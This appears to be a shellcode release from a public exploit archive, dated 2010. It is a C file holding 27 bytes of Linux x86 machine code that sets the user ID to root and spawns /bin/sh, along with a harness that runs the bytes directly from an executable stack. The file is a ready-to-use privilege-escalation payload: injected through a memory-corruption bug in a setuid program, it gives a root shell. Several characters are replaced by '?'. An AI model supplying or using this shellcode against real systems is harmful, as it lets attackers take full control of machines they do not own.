#include <stdio.h>
#include <string.h>

/*
?by Magnefikko
?22.04.2010
?magnefikko@gmail.com
?promhyl.oz.pl
?Subgroup: #PRekambr
?Name: 27 bytes setreuid(0, 0) & execve("/bin/sh") shellcode
?Platform: Linux x86
?
?setreuid(0, 0);
?execve("/bin/sh", 0, 0);?

?gcc -Wl,-z,execstack filename.c

?shellcode:

\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\xb0\x0b\xcd\x80

*/

int main(){
?char shell[] =
"\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\xb0\x0b\xcd\x80";
?printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\n\nstrlen(shell)
= %d\n", strlen(shell));
?(*(void (*)()) shell)();
}